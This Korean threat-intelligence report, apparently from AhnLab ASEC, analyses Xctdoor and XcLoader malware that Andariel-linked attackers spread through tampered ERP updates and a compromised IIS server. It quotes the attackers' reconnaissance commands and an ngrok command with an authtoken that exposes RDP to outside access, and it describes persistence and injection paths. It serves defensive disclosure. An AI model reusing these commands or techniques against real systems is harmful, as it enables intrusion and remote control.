국내 기업 대상 공격에 사용 중인 Xctdoor 악성코드 (Andariel)
AhnLab SEcurity intelligence Center(ASEC)은 최근 특정되지 않은 공격자가 국내 ERP 솔루션을 악용하여 공격을 수행하는 정황을 확인하였다. 공격자는 시스템에 침투한 이후 기업 내의 시스템들을 장악하기 위해 국내 특정 ERP 솔루션의 업데이트 서버를 공격한 것으로 추정된다. 또 다른 공격 사례에서는 취약한 웹 서버를 공격하여 악성코드를 유포하였다. 공격 대상이 된 곳은 국내 방산 업체, 제조업 등이 확인된다.
확인된 악성코드들 중에는 기존 ERP 솔루션의 업데이트 프로그램에 악성 루틴이 삽입된 형태가 존재하는데 이러한 방식은 2017년 Andariel 그룹이 HotCroissan 백도어를 설치하기 위해 사용했던 사례와 유사하다. 제작자는 악성코드들을 개발하는 과정에서 Xct라는 문자열을 사용하였으며 여기에서는 최종적으로 사용된 백도어를 Xctdoor로 분류한다.
1. 과거 Andariel 공격 사례
Rifdoor는 Lazarus 그룹의 하위 그룹으로 알려진 Andariel이 사용하는 백도어로서 2015년 11월에 처음 발견되었으며 2016년 초까지 활동이 확인되었다. [1] 이후 2017년부터는 Rifdoor의 변종이 공격에 사용되었는데 이는 2020년 미국의 CISA와 [2] VMware 사의 Carbon Black이 공개한 [3] Lazarus 그룹의 HotCroissant와 동일하다. Carbon Black은 Rifdoor와 HotCroiassant와의 유사성과 차이점을 상세하게 정리하였으며 여기에서는 Rifdoor 변종을 HotCroiassant로 분류한다.
HotCroissant를 이용한 공격 사례들 중에는 2017년 국내 ERP 솔루션을 악용하여 악성코드를 유포한 사례가 존재한다. 공격자는 업데이트 프로그램인 “ClientUpdater.exe”에 악성 루틴을 삽입하였다. 이는 공격자가 특정 조직에 침투한 이후 ERP의 업데이트 서버를 공격하여 내부 전파 목적으로 이를 악용한 것으로 추정된다.
업데이트 프로그램에 삽입된 루틴은 다음과 같이 외부에서 추가 페이로드를 다운로드해 실행하는 기능을 담당한다. 해당 주소에서 다운로드된 악성코드는 2017년도부터 공격에 사용되고 있던 HotCroissant 백도어였다.

Figure 1. ERP 업데이트 프로그램에 삽입된 다운로더 루틴
2. 최신 공격 사례 – ERP
2024년 5월에도 유사한 공격 사례가 확인되었다. 과거 “ClientUpdater.exe”에 다운로더 루틴이 삽입된 것과 달리 이번에는 단순하게 Regsvr32.exe 프로세스를 이용해 특정 경로의 DLL을 실행하는 루틴이 삽입되어 있었다.

Figure 2. ERP 업데이트 프로그램에 삽입된 실행 루틴
비록 최초 설치 과정은 확인되지 않지만 확인된 DLL이 시스템 내의 정보를 탈취하고 공격자의 명령을 실행할 수 있는 악성코드인 것을 통해 과거와 유사하게 특정 ERP의 업데이트 서버가 공격당한 것으로 보인다.
최종적으로 설치된 DLL 악성코드는 공격자가 개발 과정에서 사용한 “XctMain”과 같은 키워드를 기반으로 여기에서는 Xctdoor로 분류한다. Xctdoor는 Regsvr32.exe 프로세스를 통해 실행될 수 있도록 DLL 포맷이며 Go 언어로 개발되었다.
Regsvr32.exe 프로세스에 의해 실행될 경우 자신을 “taskhost.exe”, “taskhostex.exe”, “taskhostw.exe”, “explorer.exe”와 같은 프로세스에 인젝션한다. 이후 자신을 “%LOCALAPPDATA%\Packages\Microsoft.MicrosoftEdge.Current_8wekyb3d8bbwe\Settings\roaming.dat” 경로에 복사하고 재부팅 후에도 동작할 수 있도록 시작 프로그램 폴더에 바로 가기 파일을 생성한다. 바로 가기 파일인 “MicrosoftEdge.lnk”는 “roaming.dat”을 직접 실행하는 형태가 아니며 Regsvr32.exe를 이용해 동일 경로의 “settings.lock” 파일을 실행한다.
“settings.lock”은 인젝터 악성코드로서 공격자가 제작할 때 사용한 이름에 따라 XcLoader로 분류한다. XcLoader는 단순하게 동일 경로의 “roaming.dat” 파일을 탐색기 즉 explorer.exe에 인젝션하는 기능을 담당한다.

Figure 3. XcLoder의 인젝션 루틴
참고로 Go 언어로 개발된 XcLoader는 이번 공격에서 최초로 확인되었으며 처음에는 C언어로 개발된 XcLoader가 공격에 사용되었다. 이번 공격에서도 Go 언어로 개발된 XcLoader 외에 C언어로 개발된 XcLoader가 함께 확인되었다. 해당 유형에 대해서는 다음 항목에서 정리한다.
최종적으로 실행되는 Xctdoor는 C&C 서버에 사용자 이름, 컴퓨터 이름, 악성코드의 PID 등과 같은 기본적인 정보를 전송하고 명령을 전달받아 실행할 수 있는 백도어 악성코드이다. 물론 이외에도 스크린샷 캡쳐, 키로깅, 클립보드 로깅, 드라이브 정보를 전송하는 정보 탈취 기능도 함께 지원한다.

Figure 4. Xctdoor가 지원하는 기능들
Xctdoor는 HTTP 프로토콜을 이용해 C&C 서버와 통신하는데 패킷 암호화에는 메르센 트위스터(mt19937) 알고리즘과 Base64 알고리즘이 사용된다.

Figure 5. Xctdoor의 C&C 통신 패킷
3. 최신 공격 사례 – 웹 서버
2024년 3월에는 웹 서버를 공격하여 XcLoader를 설치하는 사례가 확인되었다. 공격 대상이 2013년 개발된 8.5 버전의 윈도우 IIS 웹 서버인 것을 보아 부적절한 설정이나 취약점 공격을 통해 악성코드를 유포한 것으로 추정된다.

Figure 6. 웹 서버를 공격하여 XcLoader를 설치하는 로그
IIS 서버에서 실행된 명령들을 보면 악성코드 설치와 관련된 행위 외에도 시스템의 정보를 조회하는 등의 행위가 확인된다. 이는 일반적으로 웹 서버에 웹쉘을 설치하고 이를 이용해 명령을 실행하는 사례들과 유사하며 해당 시스템 또한 웹쉘이 설치되어 있을 것으로 추정된다.
| > ipconfig /all > ping 8.8.8.8 -n 2 > systeminfo > reg query “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\” > powershell -Command “Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -AutoSize” |
공격에 사용된 XcLoader는 Go 언어로 개발된 유형과 유사하게 동일 경로에 위치한 “roaming.dat” 파일을 읽어 복호화한 후 프로세스에 인젝션하는 기능을 담당한다. 차이점이 있다면 2024년 5월 사례에서는 “roaming.dat” 파일이 PE 형태이지만 해당 사례에서는 암호화된 파일이라는 점이다. XcLoader는 주로 탐색기 프로세스를 인젝션 대상으로 하지만 “sihost.exe” 프로세스를 선택하는 경우도 존재한다.
해당 공격에 사용된 XcLoader의 특징으로는 다음과 같이 특정 경로에 로그를 쓰는 것이다. 이 경로는 웹 서버와 관련된 구체적인 경로로 보이며 즉 이미 공격자에 의해 웹 서버가 장악되었다는 것을 의미한다.

Figure 7. 악성코드가 행위를 로깅하는 경로
참고로 공격이 발생한 시스템들 중 하나에서는 이후 Ngrok의 로그가 확인되기도 하였다. Ngrok는 터널링 프로그램으로서 외부에서 NAT 환경 내부에 존재하는 시스템에 접속할 수 있게 노출시켜 주는 도구이다. 일반적으로 공격자가 감염 시스템에 RDP로 접속해 원격 제어를 하기 위해 설치하는 경우가 많으며 Kimsuky 그룹의 공격 사례에서 자주 확인된다.
| update tcp 3389 –authtoken 2gX7z8V0maCIrjdsYA1jaDF9wSz_4RyHTgn7eAnYhSBxjis9J |
공격자가 입력한 Ngrok(update.exe) Command Line
4. 결론
ASEC에서는 고도화된 지능형 지속 위협(Advanced Persistent Threat : APT)을 모니터링하고 있으며 최근 국내 ERP 솔루션을 악용한 공격 사례를 확인하였다. 공격자는 과거 Andariel 그룹이 사용한 방식과 유사하게 조직 내부에 악성코드를 전파하기 위해 ERP 솔루션을 악용하였다.
최근 공격은 2024년 5월, 방산 업체를 대상으로 한 것이 확인되었지만 유사한 공격은 이전부터 이루어지고 있었다. 2024년 3월에는 국내 제조 업체의 웹 서버를 공격하여 XcLoader를 설치한 사례가 확인되었다. XcLoader는 Xcdoor를 정상 프로세스에 인젝션하는 기능을 담당하는 인젝터 악성코드이다. Xcdoor는 스크린 캡쳐, 키로깅, 클립보드 로깅, 드라이브 정보 등 감염 시스템의 정보를 탈취하고 공격자의 명령을 실행할 수 있는 백도어 악성코드이다. 공격자는 해당 악성코드를 통해 감염 시스템을 제어하고 정보를 탈취할 수 있을 것이다.
사용자들은 출처가 불분명한 메일의 첨부 파일이나 웹 페이지에서 다운로드한 실행 파일은 각별히 주의해야 하며, 기업 보안 담당자는 자산 관리 프로그램의 모니터링을 강화하고 프로그램 보안 취약점이 있다면 패치를 수행하여야 한다. 그리고 OS 및 인터넷 브라우저 등의 프로그램들에 대한 최신 패치 및 V3를 최신 버전으로 업데이트하여 이러한 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.
파일 진단
– Trojan/Win.XcLoader.C5642132 (2024.06.19.00)
– Trojan/Win.XcLoader.C5641779 (2024.06.17.02)
– Trojan/Win.XcLoader.C5641780 (2024.06.17.02)
– Backdoor/Win.Xctdoor.C5626572 (2024.05.27.03)
– Trojan/Win.Launcher.C5626571 (2024.05.29.00)
– Trojan/Win.Injector.R642750 (2024.04.03.01)
– Backdoor/Win.Xctdoor.C5622753 (2024.05.18.00)
– Trojan/Win.Injector.C5622750 (2024.05.17.02)
– Trojan/Win.Agent.C5622754 (2024.05.29.00)
– Trojan/Win.Injector.C5607331 (2024.04.03.01)
– Trojan/Win32.Rifdoor.R214775 (2017.12.06.00)
– Trojan/Win32.Andaridown.R216669 (2017.12.27.09)
행위 진단
– Execution/MDP.Ngrok.M4615